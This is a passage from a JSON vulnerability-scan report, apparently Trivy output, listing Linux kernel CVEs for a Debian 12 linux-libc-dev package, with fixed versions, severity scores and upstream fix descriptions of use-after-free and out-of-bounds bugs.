"https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-31578" ], "PublishedDate": "2026-04-24T15:16:32.48Z", "LastModifiedDate": "2026-06-17T10:34:00.887Z" }, { "VulnerabilityID": "CVE-2026-31580", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31580", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:ff3d7d50afc050b9292bce7de7f7cbc40b9029414995a50710f639f640d6a3ae", "Title": "kernel: bcache: fix cached_dev.sb_bio use-after-free and crash", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nbcache: fix cached_dev.sb_bio use-after-free and crash\n\nIn our production environment, we have received multiple crash reports\nregarding libceph, which have caught our attention:\n\n```\n[6888366.280350] Call Trace:\n[6888366.280452] blk_update_request+0x14e/0x370\n[6888366.280561] blk_mq_end_request+0x1a/0x130\n[6888366.280671] rbd_img_handle_request+0x1a0/0x1b0 [rbd]\n[6888366.280792] rbd_obj_handle_request+0x32/0x40 [rbd]\n[6888366.280903] __complete_request+0x22/0x70 [libceph]\n[6888366.281032] osd_dispatch+0x15e/0xb40 [libceph]\n[6888366.281164] ? inet_recvmsg+0x5b/0xd0\n[6888366.281272] ? ceph_tcp_recvmsg+0x6f/0xa0 [libceph]\n[6888366.281405] ceph_con_process_message+0x79/0x140 [libceph]\n[6888366.281534] ceph_con_v1_try_read+0x5d7/0xf30 [libceph]\n[6888366.281661] ceph_con_workfn+0x329/0x680 [libceph]\n```\n\nAfter analyzing the coredump file, we found that the address of\ndc-\u003esb_bio has been freed. We know that cached_dev is only freed when it\nis stopped.\n\nSince sb_bio is a part of struct cached_dev, rather than an alloc every\ntime. If the device is stopped while writing to the superblock, the\nreleased address will be accessed at endio.\n\nThis patch hopes to wait for sb_write to complete in cached_dev_free.\n\nIt should be noted that we analyzed the cause of the problem, then tell\nall details to the QWEN and adopted the modifications it made.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "amazon": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-31580", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://git.kernel.org/linus/fec114a98b8735ee89c75216c45a78e28be0f128%20%287.1-rc1%29", "https://git.kernel.org/stable/c/2d6965581e164fa2ba3f7652ddae5535f6336576", "https://git.kernel.org/stable/c/383f7fec0de8cee1cf7ae1f9d9f14044a61f10f9", "https://git.kernel.org/stable/c/47fa09fe7f3e09df28a51cb2cbd8f5d2f7f6edc1", "https://git.kernel.org/stable/c/4f71c8ba2dc009042493021d94a9718fbe2ebf27", "https://git.kernel.org/stable/c/81f44ed8c3f54abb7561ece774ea4cca5070b2f2", "https://git.kernel.org/stable/c/9467d360be70e6ee55b0c1cd2a1f1424f57b5b85", "https://git.kernel.org/stable/c/add4982510f3b7c318a2dd7438bdc9c63171e753", "https://git.kernel.org/stable/c/f50e7c325ab1207fe941555bcff659f6d7050572", "https://git.kernel.org/stable/c/fec114a98b8735ee89c75216c45a78e28be0f128", "https://linux.oracle.com/cve/CVE-2026-31580.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026042411-CVE-2026-31580-7d94@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31580", "https://ubuntu.com/security/notices/USN-8488-1", "https://ubuntu.com/security/notices/USN-8488-2", "https://ubuntu.com/security/notices/USN-8507-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-31580" ], "PublishedDate": "2026-04-24T15:16:32.683Z", "LastModifiedDate": "2026-11-05T22:18:41.593Z" }, { "VulnerabilityID": "CVE-2026-31581", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31581", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:987e4301760e6f1047143d7dd219a0345cc6123a1c80d2a20a45d66441073aec", "Title": "kernel: ALSA: 6fire: fix use-after-free on disconnect", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nALSA: 6fire: fix use-after-free on disconnect\n\nIn usb6fire_chip_abort(), the chip struct is allocated as the card's\nprivate data (via snd_card_new with sizeof(struct sfire_chip)). When\nsnd_card_free_when_closed() is called and no file handles are open, the\ncard and embedded chip are freed synchronously. The subsequent\nchip-\u003ecard = NULL write then hits freed slab memory.\n\nCall trace:\n usb6fire_chip_abort sound/usb/6fire/chip.c:59 [inline]\n usb6fire_chip_disconnect+0x348/0x358 sound/usb/6fire/chip.c:182\n usb_unbind_interface+0x1a8/0x88c drivers/usb/core/driver.c:458\n ...\n hub_event+0x1a04/0x4518 drivers/usb/core/hub.c:5953\n\nFix by moving the card lifecycle out of usb6fire_chip_abort() and into\nusb6fire_chip_disconnect(). The card pointer is saved in a local\nbefore any teardown, snd_card_disconnect() is called first to prevent\nnew opens, URBs are aborted while chip is still valid, and\nsnd_card_free_when_closed() is called last so chip is never accessed\nafter the card may be freed.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "rocky": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H", "V3Score": 6.3 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:25217", "https://access.redhat.com/security/cve/CVE-2026-31581", "https://bugzilla.redhat.com/2440630", "https://bugzilla.redhat.com/2457829", "https://bugzilla.redhat.com/2460641", "https://bugzilla.redhat.com/2461471", "https://bugzilla.redhat.com/2464351", "https://bugzilla.redhat.com/2464449", "https://bugzilla.redhat.com/2467005", "https://bugzilla.redhat.com/2467234", "https://bugzilla.redhat.com/2480457", "https://bugzilla.redhat.com/2482166", "https://bugzilla.redhat.com/2482532", "https://bugzilla.redhat.com/show_bug.cgi?id=2440630", "https://bugzilla.redhat.com/show_bug.cgi?id=2457829", "https://bugzilla.redhat.com/show_bug.cgi?id=2460641", "https://bugzilla.redhat.com/show_bug.cgi?id=2461471", "https://bugzilla.redhat.com/show_bug.cgi?id=2464351", "https://bugzilla.redhat.com/show_bug.cgi?id=2464449", "https://bugzilla.redhat.com/show_bug.cgi?id=2467005", "https://bugzilla.redhat.com/show_bug.cgi?id=2467234", "https://bugzilla.redhat.com/show_bug.cgi?id=2480457", "https://bugzilla.redhat.com/show_bug.cgi?id=2482166", "https://bugzilla.redhat.com/show_bug.cgi?id=2482532", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23216", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31419", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31508", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31581", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43037", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43056", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43116", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43125", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43501", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45852", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46181", "https://errata.almalinux.org/9/ALSA-2026-25217.html", "https://errata.rockylinux.org/RLSA-2026:25217", "https://git.kernel.org/linus/b9c826916fdce6419b94eb0cd8810fdac18c2386%20%287.1-rc1%29", "https://git.kernel.org/stable/c/3dc20d1981d6a67d8184498a5da272942dde1e65", "https://git.kernel.org/stable/c/51f6532790b74ffdd6970bc848358a2838c1c185", "https://git.kernel.org/stable/c/af75b486f7e883e3422ece23c8d727e6815144a0", "https://git.kernel.org/stable/c/b9c826916fdce6419b94eb0cd8810fdac18c2386", "https://git.kernel.org/stable/c/ba88461f7653636c48321ca993006a74724c2f41", "https://git.kernel.org/stable/c/d21e8a2af4869b5890b34e081d5aeadc93e9cd5c", "https://git.kernel.org/stable/c/e247a0e01d15ed420f77ec5e2335721bf430a5b3", "https://git.kernel.org/stable/c/e719232f4552e29de8027a83918ea94434be87af", "https://git.kernel.org/stable/c/e88354b381e2006de63d6b052ed7005c9a47d00e", "https://linux.oracle.com/cve/CVE-2026-31581.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026042411-CVE-2026-31581-9bc2@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31581", "https://ubuntu.com/security/notices/USN-8488-1", "https://ubuntu.com/security/notices/USN-8488-2", "https://ubuntu.com/security/notices/USN-8507-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-31581" ], "PublishedDate": "2026-04-24T15:16:32.797Z", "LastModifiedDate": "2026-06-17T10:34:01.257Z" }, { "VulnerabilityID": "CVE-2026-31583", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31583", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:c986dc46e3508e03be09da33abd79e375637bbb8b4c6e6b60251b2d15a49df28", "Title": "kernel: media: em28xx: fix use-after-free in em28xx_v4l2_open()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nmedia: em28xx: fix use-after-free in em28xx_v4l2_open()\n\nem28xx_v4l2_open() reads dev-\u003ev4l2 without holding dev-\u003elock,\ncreating a race with em28xx_v4l2_init()'s error path and\nem28xx_v4l2_fini(), both of which free the em28xx_v4l2 struct\nand set dev-\u003ev4l2 to NULL under dev-\u003elock.\n\nThis race leads to two issues:\n - use-after-free in v4l2_fh_init() when accessing vdev-\u003ectrl_handler,\n since the video_device is embedded in the freed em28xx_v4l2 struct.\n - NULL pointer dereference in em28xx_resolution_set() when accessing\n v4l2-\u003enorm, since dev-\u003ev4l2 has been set to NULL.\n\nFix this by moving the mutex_lock() before the dev-\u003ev4l2 read and\nadding a NULL check for dev-\u003ev4l2 under the lock.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "azure": 2, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-31583", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://git.kernel.org/linus/a66485a934c7187ae8e36517d40615fa2e961cff%20%287.1-rc1%29", "https://git.kernel.org/stable/c/2cbf81f76842e46bdf25823c70e1db4044a65678", "https://git.kernel.org/stable/c/38a327221f7f765e7d853b7bafe47e342441ec85", "https://git.kernel.org/stable/c/3c0283a59e36e3707c4a81f4952e362d31f876b8", "https://git.kernel.org/stable/c/5fb2940327722b4684d2f964b54c1c90aa277324", "https://git.kernel.org/stable/c/6b9e66437cc6123ddedac141e1b8b6fcf57d2972", "https://git.kernel.org/stable/c/871b8ea8ef39a6c253594649f4339378fad3d0dd", "https://git.kernel.org/stable/c/a66485a934c7187ae8e36517d40615fa2e961cff", "https://git.kernel.org/stable/c/b5d141ea15f173f15b9f0a72965902f3428c0d92", "https://git.kernel.org/stable/c/dd2b888e08d3b3d6aacd65d76cd44fac11da750f", "https://linux.oracle.com/cve/CVE-2026-31583.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026042412-CVE-2026-31583-edcc@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31583", "https://ubuntu.com/security/notices/USN-8488-1", "https://ubuntu.com/security/notices/USN-8488-2", "https://ubuntu.com/security/notices/USN-8507-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-31583" ], "PublishedDate": "2026-04-24T15:16:33.017Z", "LastModifiedDate": "2026-11-06T16:18:01.94Z" }, { "VulnerabilityID": "CVE-2026-31607", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31607", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:797e90620ae1323dda1b83ecb8ba64ddb678c34da2c4bfeec5f42156078f6f0a", "Title": "kernel: usbip: validate number_of_packets in usbip_pack_ret_submit()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nusbip: validate number_of_packets in usbip_pack_ret_submit()\n\nWhen a USB/IP client receives a RET_SUBMIT response,\nusbip_pack_ret_submit() unconditionally overwrites\nurb-\u003enumber_of_packets from the network PDU. This value is\nsubsequently used as the loop bound in usbip_recv_iso() and\nusbip_pad_iso() to iterate over urb-\u003eiso_frame_desc[], a flexible\narray whose size was fixed at URB allocation time based on the\n*original* number_of_packets from the CMD_SUBMIT.\n\nA malicious USB/IP server can set number_of_packets in the response\nto a value larger than what was originally submitted, causing a heap\nout-of-bounds write when usbip_recv_iso() writes to\nurb-\u003eiso_frame_desc[i] beyond the allocated region.\n\nKASAN confirmed this with kernel 7.0.0-rc5:\n\n BUG: KASAN: slab-out-of-bounds in usbip_recv_iso+0x46a/0x640\n Write of size 4 at addr ffff888106351d40 by task vhci_rx/69\n\n The buggy address is located 0 bytes to the right of\n allocated 320-byte region [ffff888106351c00, ffff888106351d40)\n\nThe server side (stub_rx.c) and gadget side (vudc_rx.c) already\nvalidate number_of_packets in the CMD_SUBMIT path since commits\nc6688ef9f297 (\"usbip: fix stub_rx: harden CMD_SUBMIT path to handle\nmalicious input\") and b78d830f0049 (\"usbip: fix vudc_rx: harden\nCMD_SUBMIT path to handle malicious input\"). The server side validates\nagainst USBIP_MAX_ISO_PACKETS because no URB exists yet at that point.\nOn the client side we have the original URB, so we can use the tighter\nbound: the response must not exceed the original number_of_packets.\n\nThis mirrors the existing validation of actual_length against\ntransfer_buffer_length in usbip_recv_xbuff(), which checks the\nresponse value against the original allocation size.\n\nKelvin Mbogo's series (\"usb: usbip: fix integer overflow in\nusbip_recv_iso()\", v2) hardens the receive-side functions themselves;\nthis patch complements that work by catching the bad value at its\nsource -- in usbip_pack_ret_submit() before the overwrite -- and\nusing the tighter per-URB allocation bound rather than the global\nUSBIP_MAX_ISO_PACKETS limit.\n\nFix this by checking rpdu-\u003enumber_of_packets against\nurb-\u003enumber_of_packets in usbip_pack_ret_submit() before the\noverwrite. On violation, clamp to zero so that usbip_recv_iso() and\nusbip_pad_iso() safely return early.", "Severity": "HIGH", "CweIDs": [ "CWE-787", "CWE-805" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:H", "V3Score": 7.3 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:19568", "https://access.redhat.com/errata/RHSA-2026:19569", "https://access.redhat.com/errata/RHSA-2026:23224", "https://access.redhat.com/errata/RHSA-2026:24343", "https://access.redhat.com/errata/RHSA-2026:25095", "https://access.redhat.com/errata/RHSA-2026:41236", "https://access.redhat.com/security/cve/CVE-2026-31607", "https://bugzilla.redhat.com/2394648", "https://bugzilla.redhat.com/2425046", "https://bugzilla.redhat.com/2429602", "https://bugzilla.redhat.com/2432389", "https://bugzilla.redhat.com/2432400", "https://bugzilla.redhat.com/2439852", "https://bugzilla.redhat.com/2439931", "https://bugzilla.redhat.com/2448745", "https://bugzilla.redhat.com/2453803", "https://bugzilla.redhat.com/2454844", "https://bugzilla.redhat.com/2461107", "https://bugzilla.redhat.com/2461521", "https://bugzilla.redhat.com/2467059", "https://bugzilla.redhat.com/2467144", "https://bugzilla.redhat.com/2467771", "https://bugzilla.redhat.com/2477015", "https://bugzilla.redhat.com/2477802", "https://bugzilla.redhat.com/show_bug.cgi?id=2394648", "https://bugzilla.redhat.com/show_bug.cgi?id=2425046", "https://bugzilla.redhat.com/show_bug.cgi?id=2429602", "https://bugzilla.redhat.com/show_bug.cgi?id=2432389", "https://bugzilla.redhat.com/show_bug.cgi?id=2432400", "https://bugzilla.redhat.com/show_bug.cgi?id=2439852", "https://bugzilla.redhat.com/show_bug.cgi?id=2439931", "https://bugzilla.redhat.com/show_bug.cgi?id=2448745", "https://bugzilla.redhat.com/show_bug.cgi?id=2453803", "https://bugzilla.redhat.com/show_bug.cgi?id=2454844", "https://bugzilla.redhat.com/show_bug.cgi?id=2461107", "https://bugzilla.redhat.com/show_bug.cgi?id=2461521", "https://bugzilla.redhat.com/show_bug.cgi?id=2467059", "https://bugzilla.redhat.com/show_bug.cgi?id=2467144", "https://bugzilla.redhat.com/show_bug.cgi?id=2467771", "https://bugzilla.redhat.com/show_bug.cgi?id=2477015", "https://bugzilla.redhat.com/show_bug.cgi?id=2477802", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-39766", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68741", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-71116", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22984", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22990", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23136", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23204", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23401", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31402", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31532", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31607", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43128", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43163", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43284", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46300", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46333", "https://errata.almalinux.org/9/ALSA-2026-19568.html", "https://errata.rockylinux.org/RLSA-2026:19568", "https://git.kernel.org/linus/2ab833a16a825373aad2ba7d54b572b277e95b71%20%287.1-rc1%29", "https://git.kernel.org/stable/c/2ab833a16a825373aad2ba7d54b572b277e95b71", "https://git.kernel.org/stable/c/324262c38438255bf6bdbf6342ca47c0badaab76", "https://git.kernel.org/stable/c/5e1c4ece08ccdc197177631f111845a2c68eede3", "https://git.kernel.org/stable/c/885c8591784da6314f9aa82fa460ac69f9f79e5f", "https://git.kernel.org/stable/c/8d155e2d1c4102f74f82a2bf9c016164bb0f7384", "https://git.kernel.org/stable/c/906f16a836de13fe61f49cdce2f66f2dbd14caf4", "https://git.kernel.org/stable/c/973f2c250289f5bf6cc146b98aa6fdde11fe50d6", "https://git.kernel.org/stable/c/ce744264b06b97069b3722511ab355738311fee0", "https://git.kernel.org/stable/c/ef8ebb1c637b4cfb61a9dd2e013376774ee2033b", "https://linux.oracle.com/cve/CVE-2026-31607.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026042420-CVE-2026-31607-7bac@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31607", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-31607.json", "https://ubuntu.com/security/notices/USN-8488-1", "https://ubuntu.com/security/notices/USN-8488-2", "https://ubuntu.com/security/notices/USN-8490-1", "https://ubuntu.com/security/notices/USN-8490-2", "https://ubuntu.com/security/notices/USN-8491-1", "https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", "https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8493-1", "https://ubuntu.com/security/notices/USN-8493-2", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8501-1", "https://ubuntu.com/security/notices/USN-8507-1", "https://ubuntu.com/security/notices/USN-8508-1", "https://ubuntu.com/security/notices/USN-8527-1", "https://ubuntu.com/security/notices/USN-8528-1", "https://ubuntu.com/security/notices/USN-8529-1", "https://ubuntu.com/security/notices/USN-8529-2", "https://ubuntu.com/security/notices/USN-8530-1", "https://ubuntu.com/security/notices/USN-8530-2", "https://ubuntu.com/security/notices/USN-8545-1", "https://ubuntu.com/security/notices/USN-8546-1", "https://ubuntu.com/security/notices/USN-8547-1", "https://ubuntu.com/security/notices/USN-8547-2", "https://ubuntu.com/security/notices/USN-8548-1", "https://ubuntu.com/security/notices/USN-8548-2", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8604-1", "https://ubuntu.com/security/notices/USN-8605-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8615-1", "https://ubuntu.com/security/notices/USN-8615-2", "https://ubuntu.com/security/notices/USN-8616-1", "https://ubuntu.com/security/notices/USN-8617-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8635-1", "https://www.cve.org/CVERecord?id=CVE-2026-31607" ], "PublishedDate": "2026-04-24T15:16:39.94Z", "LastModifiedDate": "2026-10-19T19:18:01.263Z" }, { "VulnerabilityID": "CVE-2026-31627", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31627", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:1c0bf464e455def0c825d4bc40794c5b77a12df0aaf2b147b32d4fd7f5e233fe", 